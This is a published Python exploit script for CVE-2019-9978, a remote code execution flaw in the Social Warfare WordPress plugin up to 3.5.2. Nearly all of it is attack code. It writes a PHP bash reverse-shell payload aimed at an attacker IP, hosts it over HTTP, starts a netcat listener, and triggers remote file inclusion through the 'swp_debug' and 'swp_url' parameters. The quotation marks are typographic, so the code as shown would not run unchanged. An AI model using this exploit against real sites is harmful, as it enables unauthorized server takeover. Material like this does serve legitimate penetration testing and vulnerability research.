Social Warfare WordPress Plugin 3.5.2 – Remote Code Execution (RCE)

• CVE-2019-9978

# Exploit Title: Social Warfare WordPress Plugin 3.5.2 – Remote Code Execution (RCE)

# Date: 25-06-2025

# Exploit Author: Huseyin Mardini (@housma)

# Original Researcher: Luka Sikic

# Original Exploit Author: hash3liZer

# Vendor Homepage: https://wordpress.org/plugins/social-warfare/

# Software Link: https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip

# Version: <= 3.5.2
# CVE: CVE-2019-9978

# Tested On: WordPress 5.1.1 with Social Warfare 3.5.2 (on Ubuntu 20.04)

# Python Version: Python 3.x

# Reference: https://www.exploit-db.com/exploits/46794

# Github (original PoC): https://github.com/hash3liZer/CVE-2019-9978

# The currently listed exploit for *CVE-2019-9978* (Exploit ID 46794) appears to no longer work as intended in many modern environments

# Usage:

# 1. Edit the config section below and replace `ATTACKER_IP` with your machine’s IP.

# 2. Run the script: `python3 exploit.py`

# 3. It will:

# – Create a PHP payload and save it as `payload.txt` (or any filename you set in PAYLOAD_FILE)

# – Start an HTTP server on `HTTP_PORT` to host the payload

# – Start a Netcat listener on `LISTEN_PORT`

# – Trigger the vulnerability via the vulnerable `swp_debug` parameter

# 4. On success, you get a reverse shell as `www-data`.

#

# Note:

# – PAYLOAD_FILE defines only the name of the file to be created and served.

# – Make sure ports 8001 and 4444 are open and not in use.

import requests

import threading

import http.server

import socketserver

import os

import subprocess

import time

# — Config —

TARGET_URL = “http://example.com”

ATTACKER_IP = “xxx.xxx.xx.xx” # Change to your attack box IP

HTTP_PORT = 8000

LISTEN_PORT = 4444

PAYLOAD_FILE = “payload.txt”

def create_payload():

“””Write exact reverse shell payload using valid PHP syntax”””

payload = f’

system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")

‘

with open(PAYLOAD_FILE, “w”) as f:

f.write(payload)

print(f”[+] Payload written to {PAYLOAD_FILE}”)

def start_http_server():

“””Serve payload over HTTP”””

handler = http.server.SimpleHTTPRequestHandler

with socketserver.TCPServer((“”, HTTP_PORT), handler) as httpd:

print(f”[+] HTTP server running at port {HTTP_PORT}”)

httpd.serve_forever()

def start_listener():

“””Start Netcat listener”””

print(f”[+] Listening on port {LISTEN_PORT} for reverse shell…”)

subprocess.call([“nc”, “-lvnp”, str(LISTEN_PORT)])

def send_exploit():

“””Trigger the exploit with vulnerable parameter”””

payload_url = f”http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}”

exploit = f”{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}”

print(f”[+] Sending exploit: {exploit}”)

try:

requests.get(exploit, timeout=5)

except requests.exceptions.RequestException:

pass

def main():

create_payload()

# Start web server in background

http_thread = threading.Thread(target=start_http_server, daemon=True)

http_thread.start()

time.sleep(2) # Give server time to start

# Start listener in background

listener_thread = threading.Thread(target=start_listener)

listener_thread.start()

time.sleep(1)

# Send the malicious request

send_exploit()

if __name__ == “__main__”:

try:

main()

except KeyboardInterrupt:

print(“[-] Interrupted by user.”)